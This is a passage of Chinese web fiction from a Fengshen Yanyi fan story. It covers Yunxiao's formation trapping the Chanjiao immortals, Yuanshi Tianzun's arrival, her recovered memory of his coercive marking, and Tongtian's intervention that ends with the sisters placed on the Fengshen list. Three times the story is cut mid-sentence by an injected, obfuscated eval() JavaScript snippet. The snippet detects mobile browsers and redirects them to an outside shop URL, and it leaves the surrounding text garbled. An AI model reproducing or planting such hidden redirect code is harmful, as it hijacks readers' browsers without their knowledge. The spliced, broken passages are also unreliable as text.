周营里,姜子牙骇然大惊,忙顾左右的另外两个阐教三代弟子金吒和木吒说道, “速去昆仑,请你们师祖元始天尊……” 10.圣临 杏黄旗自行翻叠好,轻飘飘的落在云霄手中,似乎已经这样回来了无数次。 “这是什么旗子,连主人都能绊倒。” 耳边传来碧霄的吐槽声,她却嗅到那旗上好像混合了莲香与檀香的气息,既清雅,又厚重,古怪的熟悉,却并不让人反感。 云霄莫名想要替杏黄旗辩解,“燃灯并非它的主人,遇到……” 她的话没说下去。 遇到什么?真正的主人?怎么想也不该是她啊。 十二金仙还剩下一个广成子,战事未定,现在不是想哪些乱七八糟的时候。云霄手腕一翻,把杏黄旗收入袖中,抬眸看那广成子。 都知元始天尊选徒弟重资质,广成子作为玉虚宫头一个击金钟之仙,旁的不说,卖相是一等一的好。身着扫霞衣,背负雌雄剑,颔下三缕长须,却面若童子,红光满面,一看就是福德真仙。 据说他入门甚早,道法精深,曾为轩辕黄帝的授业恩师。 真要说来,她们跟广成子并没有实质上的仇怨。 带着两分微笑,云霄礼貌地询问,“广成子道友今日可还入我阵吗?” “昔在黄帝之时,贫道不忍目睹亲族遭劫,以致身犯红尘之厄,杀罚临身。这一众师弟却都是受了贫道拖累。” 广成子手握雌雄剑,望着那九曲黄河阵,长叹道,“定就前因,怎违天命?吾已犯戒,怎能脱困?今临杀劫,虽悔何及!” 他说罢,就要径直入阵。 云霄眉头紧锁,看着广成子的身影竟感到一丝不寒而栗。 天数,在他们眼里真的有那么可怕吗?不尊天数又能如何? 云霄只是自己思考,没有去阻拦广成子。眼看着广成子要进阵了,碧霄脆生生的声音却响起, “玉虚门下怎么尽是这路货色,打起来还没有我去海里抓鱼费劲。” 她是在跟云霄撒娇,可惹恼了广成子。 阐教首徒拔出剑来,指着云霄喝道, “云霄!休要小看吾辈,有辱阐道之仙,若非吾师尊早言天数不可违,你碧游宫左道,焉能敌我?” “喂!是我跟你说话,你指我姐姐作甚!” 碧霄一听这广成子不仅无视自己,还敢说碧游宫是左道旁门,直气得面犯桃花。 “广成子,莫说你是玉虚宫首徒,今天就是圣人来了,也难脱此厄!” 碧霄提了剑,跨花翎鸟迎上广成子。 广成子毕竟成道更早,不打是不打的话,真打起来却非碧霄能敌。眼看数个回合后碧霄渐渐不及,险些被番天印打中头颅,云霄忙放出混元金斗帮忙。 大许真是天数使然,十二金仙注定要折于此宝之下。见金斗显耀,广成子目视不明,被金光吸入阵中,眨眼间闭了天门。 至此,阐教十二金仙并副教主尽陷九曲黄河阵。西岐那边姜子牙慌忙退军不敢再犯,商汤一方大获全胜,闻太师自是满心欢喜,请了诸位仙姑回去设宴庆功。 “今日擒了许多玉虚门人,我军扬眉吐气,全赖各位师叔帮衬。” 菡芝仙摆手,“我们没做什么,都是云霄师姐她们的功劳。” 云霄默坐席上,摇了摇头,却是不语。 彩云仙笑道,“今日之后,看他玉虚门人往后还敢不敢在我教面前狂妄!” “对对,玉虚宫的哪能跟咱们相比,截教万仙来朝……” 几杯酒下了肚,被商军将领们吹捧着,琼霄和碧霄也有些飘飘然了。 听到这里,云霄眉头紧锁,心下愈发感到不安。 她轻声道,“我等来此本是为报私仇,如今燃灯已然拿下,不如即日返还三仙岛去罢。” “那怎么行!” 碧霄急了,她本就爱热闹,好不容易出来一趟,大出了风头,哪里愿意回去。 “姐姐你怕什么?有这九曲黄河阵,便是圣人来了咱们也不怕。” 她眼睛亮晶晶的,仿佛她们姐妹明天就能手撕玉京,脚踏玄都。 琼霄则道,“是啊姐姐,燃灯虽然拿下了,陆压还没找着,他才是害死兄长的罪魁祸首啊!” 闻太师心知九曲黄河阵的主阵者是云霄,连忙附和,“云霄师叔莫急,我已让人去打探陆压道人的下落,且过几日,定能为公明师叔报仇。” 云霄默然不语。 她今日几乎把玉虚门下一网打尽,看似风光无限,实则已是进退两难。 商灭周兴乃是众圣默认的天数,她今日仗着阵法逞凶一时,难道之后也要继续为商汤保驾护航? 虽说三教签押封神榜之时说好了各凭本事,通天教主也安慰她无惧封神榜,但十二金仙那诡异的引颈就戮的态度着实让她不安。 “天数”二字沉沉压在头顶,仿佛一把斩首的宝剑,不知何时就会落下来。 她想要及时抽身,可是看看琼霄碧霄的态度,俨然是不肯走的。再加上跟阐教这一番因果……也罢,只能走一步看一步了。 * 再说周营一方,姜子牙身为主帅不好抽身,早让两个同门师侄金吒和木吒去玉虚宫请圣人襄助。 他们两个是亲兄弟,金吒拜入十二金仙中文殊道人门下,木吒则是普贤真人的弟子。得姜子牙之令,两兄弟不敢耽误,星夜赶往昆仑山。 到了昆仑玉京山,只见一只白鹤飞来,至他们跟前变作白发白眉的少年。 二兄弟一看,原是白鹤童子。 白鹤童子道,“老爷已知你等所求,将要驾往西岐。你们速速归去,让姜师叔焚香静室,迎鸾接驾。” 金吒木吒听罢,火速赶回西岐报与姜子牙。 姜子牙一听圣人将至,岂敢慢待。忙静洁其身,秉香道旁,迎迓鸾舆。 至午时,众人听到半空中仙乐飘飘,一派嘹亮之音。方见元始天尊乘九龙沉香辇至芦蓬上空,南极仙翁执羽扇随后而行。 尔时金花朵朵,霭霭香烟,氤氲遍地。 姜子牙并左右至蓬下,跪地俯迎。口称,“弟子等恭迎圣人。” “三仙岛摆下黄河阵,众师兄和燃灯老师俱有陷身之厄,求老师大发慈悲,普行救援。” 天尊淡淡道:“天数已定,自莫能解,何必你言?” 元始天尊积威深重,姜子牙也不敢多说。想到一众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628030|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师兄深陷九曲黄河阵内,自己的君主周武王也在红沙阵生死难测,几欲落泪。 正心酸时,却又听圣人淡漠的声音响起, “吾既来此,须进黄河阵走一遭。你带路吧。” 姜子牙大喜,拜谢了师尊慈悲,起身为圣人引道。 一行至九曲黄河阵前,白鹤童子上前高声呼,“三仙岛云霄快来接驾。” 他也是奇怪,不喊旁人,只唤云霄。那呼声仿若一声鹤唳穿破云层,又似天外之音落于俗尘。 九曲黄河阵内,静坐八卦台上的云霄心头猛地一颤。冥冥之中有一种奇异的感觉让她睁开眼,看向阵外。 今日阴云密布,本不见阳光,然此时西岐的方向,却出现了一亩田大的庆云,上放五色毫光,金灯万盏点点落下,如檐前滴水不断。 琼霄惊呼,“快看外面——” 碧霄疑惑,“姐姐,谁在唤你?” 云霄张了张嘴,想要说话,却忽然一阵心悸。似在她的胸中,又不在肉身里,好像有什么苏醒了,伸展触肢,给她一个未知的朦胧的信号。 二女得不到云霄回应,自行望向阵外。 琼霄了然,“原来是二师伯至矣。” “来的可真快。”碧霄轻哼一声,“打了小的,来了老的。他要是以大欺小,这个师伯咱们不认也罢。” “就是,敬一句师伯是看在师尊面子上,我们又不是玉虚门人,怕他不成!” 昨夜的酒醒了,可她们似乎并没有清醒,还沉浸在完败阐教弟子的美梦里。二女一边一个拉着云霄,“姐姐,咱们出去吧。” 云霄不知道自己是怎么回答她们的,或许她根本就没有回应。浑浑噩噩就下了八卦台,出得九曲黄河阵。 六百大汉以人数排列九曲,颠颠倒倒。十二金仙并燃灯黄天化好似躺尸在另一空间,倒倒颠颠。黑雾遍地,层层空间扭曲,像是要从黑雾里爬出什么东西来。 是谁在唤她? “那白鹤童子,凭什么敢直呼我姐姐的名字。” 碧霄义愤填膺,“我们姐妹成道时,他还是一只鹤呢。” 不,不是白鹤童子。 云霄从心里否认了这个答案。 “云霄师姐慢行,我们来助你。” 彩云仙和菡芝仙赶到,与三霄同仇敌忾。 颠颠倒倒,五仙姑出了阵门,看到瑞彩遍地,祥云腾腾。白鹤童子与南极仙翁分左右侍奉,九龙沉香辇悬于空中,离地二尺许。庆云垂下五色毫光,万朵金花络绎不绝,香烟氤氲,将端坐于沉香辇中的圣人遮得半隐半现,分外神秘。 她看不清。 眼前,灵台处,好像有一面镜子,隔着浓雾。镜里看花,晕晕旋旋,朦朦胧胧。她看不清。 “姐姐?”琼霄轻推了推云霄,语声透着疑惑。 云霄勉强拾回一点理智,欠了欠身道, “吾等失礼,不知二师伯要来。未能远迎,还望恕罪。” 元始天尊尚未开口,好不容易请来依仗的姜子牙却先出头,望云霄不悦的责问, “既知失礼,为何面见圣人不拜?” 11.二师伯 天地间只有七位圣人,每一位成圣之时,天地都会降下感应。譬如紫气东来,地涌金莲,圣相照耀天地,众生皆要跪地参拜。 大概就是从此开始,修士们默认了见到圣人应当跪地俯迎。除非你对那个圣人有意见,对家不拜也罢。 听到姜子牙的话,云霄恍惚也觉得不对。 阐截两教固然一直传出不合,但也没到撕破脸的时候。她自来尊重圣人,是姐妹中最讲理的,今见元始,理当—— 思绪到此,云霄心头却凭空生出一股抗拒情绪,不知由来。感觉就像是……很讨厌一样。 一旁碧霄站出来,冲着姜子牙昂然道,“上不尊,则下不敬。吾拜截教通天教主为师,又不是你阐教门人。” 姜子牙大怒,正要回应,便听到沉香辇中传来圣人慈悲的回应。那声色清冷,如玉京山落下的雪,不染凡尘。 “无妨。” 这声音,好像在哪儿听过。 云霄定了定神,看向九龙沉香辇的方向,努力让自己回到状态。 诸天庆云光芒太盛,她看不清元始的模样,只察觉那边似有一股视线投注在她身上,居高临下,无孔不入地包裹着她的、强烈的被注视感,让她胸中涌动无名的……恐惧。 恐惧得似曾相识。 云霄欠身道,“恕小妹失礼,不知二师伯圣临,有何指教?” 天尊的声音从辇中传出。 “三位在此设阵,乃天数使然,我门下该受此劫。但有一件,汝师尚不敢妄为,你何苦不守清规,逆天而行。若此刻退去,或许还有回转之机。” 祂的话理应是对三霄说的,听起来却又好像是对云霄一个人说的。 云霄脑中微眩,恍然又有谁在她脑海中说话。 “……天数……若不信……且试……” 那只言片语的也不清晰。声音倒是有点熟悉。 她一时没接上话,旁边的琼霄抢答道, “什么退不退的,如今玉虚宫门人具在阵中,要破阵的只管进来,无需多言。” 天尊语声平静,没有丝毫波澜,好像早已预料到答案。 “也罢,尔等进去主阵,本圣自来。” 眼看圣人九龙沉香辇要进入阵中,云霄顿觉骑虎难下,然此刻再想阻止也来不及了。她料想今日难以善了,道声“得罪”,便上了主阵中心的八卦台。 混元金斗射出刺目的金光,罩住全阵。之前广成子燃灯具是被金光所摄,入了黄河阵里便神魂颠倒。然而元始天尊坐在辇上,却能正常行动其中,半点不受影响。 碧霄恼火道,“定是那辇车有异。人都不出来,叫什么破阵。” 仿佛是听到她的话,九龙沉香辇又漂浮往前滑了一段,停滞在一众阐教弟子受陷之处。 下一刻,圣人自辇座中走出,白衣金冠,恰好背对着众仙姑在八卦台上的视觉。 彩云仙子见此眼中一亮,手中暗自掐诀准备。待那背对着她们的人影走到广成子身边去看他时,彩云仙低喝声“去”,她的法宝戮目珠便悄无声息地打向天尊的后背。 这一手本是偷袭,那戮目珠也是个难得的灵宝。 然而宝珠接近圣人周身不到十步,便瞬间碎成了飞灰,一点渣都不剩。 天尊动作未有丝毫间断,望众弟子叹道,“三尸不斩,六气未吞,空用功夫千载。” 彩云仙又惊又怒。不同于三霄姐妹当年由通天带回去,在碧游宫化形的。她是有修为后,借某次圣人讲道时广收门徒才得以入门,只算是记名弟子,自然也没有圣人赐下法宝。多年来身上的法宝也就戮目珠能看,哪里想到这般轻易就毁了呢? 菡芝仙有些不安,“圣人有通天彻地的大神通,我们真的要与他为敌吗?” “怕什么?大不了转世重修便是。” 彩云仙已红了眼,咬牙不肯退。 碧霄安慰她,“待会儿我找机会放金蛟剪,再试一试。” 琼霄道,“十二金仙闭了天门,具成凡夫。我等姐妹齐心,就算是同上封神榜,也无愧矣。” 她们的话传入云霄耳中,教她心头滋味难言。长叹道,“早知今日,何必当初。事已至此,也只能……” “能”字方才出口,却见那元始天尊微微回头,转向八卦台上,微笑着问, “你还要强求吗?” 她对上一双半开半阖的凤眼,那约莫是她印象中最苍老的眼睛。 诸天庆云不知何时隐没了,没有那金花金灯,璎珞垂珠的异象,元始天尊的面容便直观映入她的眼帘。 他生得……不,应当是祂。 祂生就极好的五官,修眉凤眼,肤如无瑕白玉,青年模样,金冠下的头发却是斑驳的颜色,墨发间掺杂银丝。 而俊美,或丑陋,年轻,或衰老,这类词语都无法用在祂的身上,也无法产生这类评判好与不好的思考。如果一定要形容,大概只有皎洁二字,皑皑似山间雪,皎皎如云中月。 祂注视着云霄,面容平静,慧眼垂光,尽显慈悲。问她, “你还要强求吗?” 还要,强求吗? 她未说完的话再也说不出来了。一刹那间,云霄感到眩晕,从记忆深处,有一扇空间之门支离破碎,剧烈的恐惧伴随着记忆强势冲击回荡,让她头疼欲裂。 她想起来了,那双精致却苍老违和的眼。 元始天尊,她的二师伯,也是让她消失两天,反复异化的恐惧之源—— “我不愿意。” 十多日前的云霄,仰头直面那不可言说的恐怖之源。 很奇怪,她远远看祂一眼,几乎窒息,然而此刻面对面,那张英俊的面容一览无余,她却不再有异化或者痛苦,只感到强烈的违和。 这种违和感包括但不限于祂年轻又苍老的眼,黑白斑驳的头发,以及看似皎洁如月实则令人恐怖的本质。 圣人都是如此?还是只有元始天尊如此?祂身上 她不想探究太多,只想赶快逃离。 仿佛是看出了她的想法,元始蓦地抬手,掌心腾现一道似金非金,似玉非玉,柔软如丝绸的金色榜文。上书“封神榜”三个大字,另有许多蚯蚓一样墨色的名字盘旋漂浮其上。 祂问,“此物你可识得?” 云霄答,“封神榜三个字弟子还是识得的。” 元始没有说话,也不需要祂说话。云霄的视线自然就看向了那些小小的墨色名字。 封神榜上尽是些眼熟的名字,十天君其九,魔家四将等。到最末一列,她看到兄长赵公明之名,微微涩然。还没来得及为兄长难过,就在其下方,看到云霄、琼霄、碧霄三个名字隐隐若现,比其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660186|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的名字淡了些,也能看得清楚。 云霄不敢置信的近了一步,差点怀疑自己看花了眼。 “琼霄碧霄才出三仙岛,我在昆仑,怎会榜上有名!” 元始淡淡道,“此乃天数,你姐妹三人注定榜上有名。” 注定?云霄只觉得可笑,念头急转,她却带着几分迁怒的问元始, “就算我姐妹注定上榜,又与二师伯何干?” 她直直地注视着祂,四目相对,那苍老违和的眼竟有那么一瞬让她窥见了无尽的悲凉。 元始不答,只说,“你再往下看。” 云霄将那感觉抛之脑后,半信半疑地再次看向封神榜。 只见在她们三姐妹稍浅的名字后面,还跟了许多个更浅,几乎半透明的名字—— 菡芝仙、闻仲、金灵圣母、罗宣……具是她碧游宫同门,连截教大师姐金灵圣母之名也赫然在列。 而十二金仙?一个都不曾上榜。 她一时怒从心起,甚至盖过了对元始那不知名的恐惧。 “你骗我!凭什么封神榜上尽是我截教弟子?” “天数注定。” “狗屁天数!” 云霄气红了眼,理性不再。“当初碧游宫圣人有言,上榜各凭本事,如何又成了天注定?” 元始平静的叙述,“截教万仙来朝,已至极数,而今气数当尽,月满而亏,为天道不容。碧游宫签押封神榜时已注定了截教的结局,只是通天不肯认罢了。” 云霄紧握双拳,怒视祂。 “师尊不认,我也不认。” “你想改变天数吗?” “天道不公,改了又如何?” “与吾结成道侣,或可更改。”元始以一种冷漠的神情面对她,仿佛那是高高在上的施舍,以至于祂的神情与之前相比并无波澜。 既然看不起,又何必要强迫她结为道侣?祂对她有何所求? 道侣两个字带来的抗拒令云霄一下子又找回了些许理性,她乍然平和了下来,但藏不住对祂的抗拒。 “我又怎么知道,师伯不是在骗我?” 元始答,“你若不信,自可下山试过。” “我能走?”她狐疑。 祂颔首,“可以。” 得到这句答复,云霄倒头就望殿外走去,半点不耽误。至于封神榜上的名字是真也罢,假也罢,她自有师尊可以信赖,做什么要靠元始? 事实证明,她还是对元始太轻信了。 未走出两步,云霄就被定在原处。 “你可以离开,但在你做出正确的选择之前,必须留下一点标记。” 恐怖之源又出现在她的面前,无孔不入的注视着她。 骗子!云霄用眼神控告。 殿内密密麻麻的触手涌向她,盘旋,缠绕,挤压。 她想要转身逃离,目光却追随着祂的存在,她想要怒骂,嘴唇却情不自禁挂着微笑。 她微笑着,看到触手们分出细细的一根钻进她的耳朵里,嘴巴里,顺着喉咙,进入五脏六腑,进入血液里。她微笑着,不能动弹,只能用眼睛憎恨与恐惧着祂。 过了一瞬,还是一百年?她感到血液中沸腾盘缠着皆是祂的存在,这酷刑终于结束。 “你还要强求吗?” 祂微笑着问。 12.偏要强求 记忆恢复的那一刻,一切异常都有了答案。 为何她会在战场时突然异化,令灵兽望而生畏?因为灵兽比人敏锐,察觉到她体内那些怪物的恐怖。而杨戬的天目是元始所赐,才能窥见真实。 为何她消失的两日,连通天也查不出?因为她连血里都是祂的标记,而通天最不擅长时空法则,亦不会想要怀疑他的二哥。 一想到那些东西曾贯穿她的喉咙,饮满她的血液,乃至操纵她的元神及思维,令她觉得怪物可喜,元始可亲,云霄就感到极其剧烈的恶心,胸中翻腾,想要作呕。 她想,可她不能。 “我要强求。” 云霄用极轻的声音喃喃自语。 不知道是那些怪物操纵了她,还是封神榜上闪烁的名字让她冷却。云霄的思维在这一刻前所未有的清晰—— 她偏要强求,要改变那狗屁天数,哪怕,是同怪物合作。 * 而当云霄恢复那两日记忆之时,其他人已经打起来了。 元始天尊的言语和微笑并非只有云霄听见。常人看到祂的笑容会觉得慈悲,云霄看到祂的笑容会觉得诡异可怖,而落在琼霄与碧霄眼里,就成了轻蔑和挑衅。 碧霄气恨道,“什么二师伯,毁了彩云姐的法宝,还笑话我们!” 她一向讲义气,之前为赵公明报仇不顾通天法旨执意出岛,如今见彩云仙失去戮目珠难过,亦是气愤填膺。也不管什么尊卑之分了,当即祭出金蛟剪至取元始。 金蛟剪在空中化作两条蛟龙,头连头,尾缠尾,奔腾而去。在将至元始身侧之时,落将下来。看似照头咬下,然圣人不慌不忙抬了抬手,轻捻袍袖,两条蛟龙便垂直飞入祂袖口中。如泥牛入海,未见丝毫波澜。 身旁的琼霄见此,一指那主阵的混元金斗,放出万道金光罩向元始。 又有菡芝仙,见今日无法善了,放出法宝风袋,卷出一阵黑风滚滚。 黑风卷起沙尘无数,声势浩大,迷得人睁不开眼。仿佛要把那九龙沉香辇都吞进去了一般。天地空间一片昏暗,唯有圣人的身形依旧在发光。 即使各种法宝组合袭来,祂却没有动作。 只是一晃神,或一眨眼的功夫,元始身边凭空出现了一个白色纤细的身影。 “老爷。” 白鹤童子似乎很有经验,突然被挪过来面对此等环境也没有慌张。底气十足,尤自躬身向元始行礼。 “你持此物,待风沙止后可以玩去。” 元始慢悠悠摸出一白玉如意,递给白鹤童子。 白鹤童儿大声应诺,肉眼可见的兴奋。 这白玉如意可是圣人成道之宝,准圣也难以抵挡。与其说是把玉如意给他玩,不如说是让他随便打杀了对面几个胆敢对圣人不敬的截教女弟子。 毕竟,圣人又岂会对自己的师侄亲自出手呢?只能让身边童子玩似的解决了。 交代了白鹤童子,元始又信手取出一宝盒,缓缓将盒打开。 那琼霄、菡芝仙操纵混元金斗和黑风,一金一黑卷向元始的速度已经极快,祂的动作却很慢。分明同在阵中,祂与外界却似乎不处于一个时空流速,一个快,一个慢,诡异的兼容。 宝盒开启,不见什么华光闪动,也无甚声威。只是金光,黑雾,风沙,具如那金蛟剪一般,平平顺顺的飞如盒中。 天尊又把手一指,混元金斗与风袋也进了宝盒。 碧霄琼霄一下子丢了两件法宝,没了混元金斗,这九曲黄河阵也算是废了一半。直气得她们三尸暴跳。 自来师尊强大,兄姐爱护,二女虽修行千年,却还是小儿心性,受不得丝毫委屈。 “收吾之宝,岂能干休?” 大喝一声,碧霄与琼霄不分先后,几乎是同时,持剑攻向了元始。 白鹤童子见此,拿着白玉如意眼睛发亮,兴奋得几乎要做出仙鹤之态。 ——云霄恢复记忆之时,面对的正是如此境遇。 她的两个妹妹一意向死,白鹤童子已持白玉如意作势要打,打杀两个截教弟子,在他眼里只是一场游戏。 而元始…… 祂依旧注视着云霄,蕴着悲悯的微笑。 她的眼睛似被风沙所迷,有些模糊,可血液中永远都在翻腾的怪物们告诉她,祂在注视着她。 没有像战杨戬之时那般强烈无孔不入,或许是忌惮通天?但云霄知道,祂一直在注视她。 祂从远处注视她,从天上注视她,从她的身体里,元神里注视她。太阳是祂的眼睛,她的血里流淌着祂的标记。 云霄心里清楚,如果说在元始入阵之时她们还有回转之机,那么当她们直接攻向元始之时,就已经无法回头了。圣人有通天彻地之能,祂们成圣时,天地都会为之触动。除非有另一位圣人全力出手维护,否则没有人能在攻击了圣人后全身而退。 她阻止不了赵公明借宝,阻止不了琼霄碧霄出岛,就连她自己追赶上来了,也是糊里糊涂摆了九曲黄河阵,与阐教十二金仙结成大仇。 云霄的眼睛回望阵中的元始,清丽秀美的面容似乎也晕染了一丝违和的疯狂。 天数之所以让人畏惧,正是因其不可抗性。无论你试图做出怎样的改变,怎样的努力,最终命运都会回到天数注定的轨道上。 她不能,但圣人可以。 隔着八卦台下重重阵法,遥远空间的距离,她用近乎呢喃的声音自语,“我已做好了选择,师伯也该兑现承诺。” 她知道,祂能听得见。 尽管元始的神情并无变化,但祂一定听得见。毕竟,祂就在她的身体里,不是吗? 云霄不知自己有哪里特殊,值得元始天尊耗费这么多精力,给她看封神榜,窥见未来截教的下场,把她抓走又允许她下山去试过。 不说旁的,哪怕她师尊不擅时空法则,同为圣人,元始想要瞒过通天也没那么轻易。 而祂所做种种,仅仅是为了让她自愿答应与祂结契。以元始对她的态度显然不是因为喜欢。那么答案就只剩下她身上还藏着自己都不知道的作用。 祂要利用她,总该拿出些诚意。 这个念头在脑海中出现,白鹤童子已举起白玉如意照琼霄的头颅打去,云霄死死盯着,无法控制自己身体的行动。而元始的微笑加深了。 云霄听到一阵混乱的呓语。无形之力在血脉中沸腾,推动她的身体,走向恐怖之源。 她跨出一步,时空都在为她让路,推簇着她挡在琼霄身前。 “姐姐!”琼霄大骇,比她自己面临死亡还要惊慌。 白玉如意几乎打到云霄的眉心,她已然能看清如意上神秘祥和的纹路,嗅到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679421|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰雪和檀香的气息。然她心中并无畏惧。元始费了那么多精力,不会是为了让她现在去死。 眼看那白玉如意就要照头打下来,电光火石间,云霄背后的青萍剑竟飞了出来,稳稳架住了三宝如意。 “时空法则,可算让吾逮到……二哥?” 半虚化的青年手握青萍剑,声音前半句本来还透着惊喜,待看清挡住的是什么以后,就急转成了惊吓。 那青萍剑上附有通天的神念,白鹤童子哪里拿得住。乍一对上,他手里的白玉如意差点没跟着他一块儿脱手飞出去。 元始冷哼一声,把手微抬,虚空中自有一股能与青萍剑相抗衡的力量,将白玉如意稳定了下来。 一个是古朴的青色宝剑,一个是通体剔透的白玉如意。红花白藕青莲荷。本是同根生,而今红花未至,白藕与青莲叶却各生生相抗,势同水火。 “童儿无能,请老爷恕罪。” 白鹤童子满脸局促,为自己差点丢了圣人法宝而愧疚。 元始道声“无妨”,让他退到九龙沉香辇边上去,冷淡地注视那半空中具现出人形的通天。质问他, “通天,你想违背当日之约吗?” 通天短暂的有点懵。 他远在碧游宫,当初三教签押封神榜,他发现榜上天数安排尽是他截教弟子时,不肯服从,一定要赌那一线生机,让自家门徒有改命的机会。 作为让老子和元始退步的代价,他承诺封神劫中不出碧游宫,弟子若不听师命出岛入劫,纵身死道消他也不能干涉。 尽管如此,他还是将青萍剑给了云霄。 通天觉得自己有正当理由,虽然云霄出了岛,但她求自己出手帮忙是因为被不知名的存在掳走了两天,失去记忆。又不是为了封神事宜,他也不算违约。 方才察觉到时空法则之力又在推动云霄,故意回避不看封神战场的通天一下子就精神了。通过那一缕留在青萍剑上的神念匆匆而来。谁曾想,就正面碰到元始要杀自己的徒弟。 圣人所起心念,通晓世间事不过瞬间功夫。通天就知道了元始会出现在此,且要打杀三霄的原因。 真的,这很难办。换作通天自己,要是师侄敢对他不敬下杀手,他大概也是一巴掌送她上榜。但问题是,现在犯蠢的是自己徒弟。还是平时很乖,学习很好的那种。这次不听话也是被天数影响,不是出自她的本意。 故意不看时就算了,真要眼睁睁看着喜爱的徒儿被杀,通天还是做不到。 “二哥说笑了,我可没出碧游宫,这青萍剑借给云霄是为了抓她出岛前遇到的恶徒,方才我也是察觉到时空法则的存在才动用剑中神念。恰好赶上了。” 通天说着,顿了顿,又有些心虚的解释。 “我这几个徒弟都是赤子之心,为天数算计,并非故意对二哥不敬。不如二哥看在我的面子上,这一次……就得饶人处且饶人,宽恕她们罢。” 说完了,也不等元始开口,兀自呵斥几个徒弟,“你们几个孽障,真是吾平时太纵容你们了,胆敢对师伯不敬。还不过来给你们二师伯赔罪!” 琼霄碧霄敢拿元始不当师伯,却不敢不听通天的话,乖乖跪下。云霄却是慢了一息,不由自主地看了眼毫无意外之色的元始。 故意以时空法则引出通天,难道这也在祂的算计之中吗? 13.肉身上榜 三霄跪地告饶,“弟子等无礼,请二师伯恕罪。” 另有彩云仙、菡芝仙也赶来,口称“拜见掌教师尊”。 通天真身并未到来,神念化身视觉上要虚幻一些,但对于几个弟子的表态也是看得清清楚楚。 许是方才见云霄挡在自己前面差点被白玉如意打中,琼霄的脸上还带着后怕,跪的也诚心许多。而碧霄表情还有点不忿,只是碍于师命不得不向元始赔罪。而彩云仙和菡芝仙跟碧霄类似,还不知问题严重性。 至于云霄……这孩子倒是平和,无悲无喜。 她惯常是最懂事的,通天知道她只是受量劫劫气影响,为了护着妹妹而来,比起其他人还要好捞一点。 通天冷声道, “尔等不尊吾命,擅自出岛,又对师伯不敬,是想被逐出师门吗?” 碧霄彩云仙终于慌了,“师尊不要啊!” “弟子知错,弟子知错。” 通天平素对她们最是心软,但此刻却冷着脸不语。 云霄倒是明白了通天的意思,见小妹都快要哭出来了,心下不忍。转向元始央求道, “弟子等铸成大错,不敢求师伯原谅。然我为师姐,有管教之责,还望师伯重罚云霄,轻恕她们。” “怎么能怪姐姐?”琼霄惊慌失色。 碧霄大声说,“是我先动的手,又不是大姐,圣人只管打杀了我,碧霄绝无怨言。” 琼霄短暂的惊慌后,会过意来,也向元始告罪, “师伯,我等知错,愿受责罚。” 一直求通天得不到回应的彩云仙和菡芝仙也渐渐回过味了,跟着转向元始求饶。 见几个徒弟都去求元始,通天终于有了反应,轻咳一声,问道,“二哥你看如何?” 元始的目光自云霄身上轻飘飘的擦过,方才道,“死罪可免,活罪难逃。” 通天瞬间喜笑颜开,他就知道,只要自己先对徒弟们摆了脸色,二哥这么爱面子的人肯定就不好意思再罚重了。 大方地一挥手,“我的弟子就是二哥的弟子,二哥只管处置。” 元始深深地看了通天一眼,向来无波的眼底溅起不易察觉的情绪。 “你若能一直这般,何至于……” 祂的话没说完,云霄听着,只感觉胸前一闷,自己体内的那些怪物似乎也跟着动了动。 何至于什么?她会有这般感觉是否跟元始的情绪有关? 元始自然是不会在此时回答云霄的。 圣人一指琼霄、碧霄、彩云仙、菡芝仙四女,淡淡道, “尔等逞凶斗狠,有负你师教诲,便罚你四人肉身封存千年,元神上榜,受封神榜管束。千年后自可脱离天庭,回归本位。你等可有怨言?” 师尊连逐出师门的话都说出来了,四女自然不敢有怨言,纷纷叩首, “弟子并无怨言。” 通天遂出手将琼霄碧霄等四个徒儿的元神摄出,以袖内乾坤收了肉身保存。她们几个的名字早在榜上,自有天道威能将其牵引至封神台。 元始又看云霄,“你罪不及她们四个,但有管教不力之责,罚你肉身上榜,往天庭效劳两千年,听调不听宣。” 同样是上封神榜,死后元神上榜,永远都没有自由。保留肉身,元神虽然也上榜,但还保留了仙身,千年后当够了神可以回来继续修仙。 另有云霄这个姐姐,听调不听宣,来去自由,背后有通天圣人撑腰,只是名义上为天庭效力。怎么着也能维护她们几分。昊天也不敢小觑。 之前彩云仙满口的转世重修,说来轻巧,谁知道来世是变鸡变狗,有幸得人身,又是否能有仙缘? 天数不可违背,通天和云霄都知道,她们的名字早已上了封神榜,不可更改。比起原定的死亡命数,这已经是最好的结果。 云霄俯身道,“谨遵法旨。” 至此,因果全部了结。通天对这个结局很满意。甚至在想当初是不是他太刚,要是早点像今天这样,厚着脸皮跟两个哥哥耍耍赖,别闹那么僵,兴许他们就轻轻放过了呢? 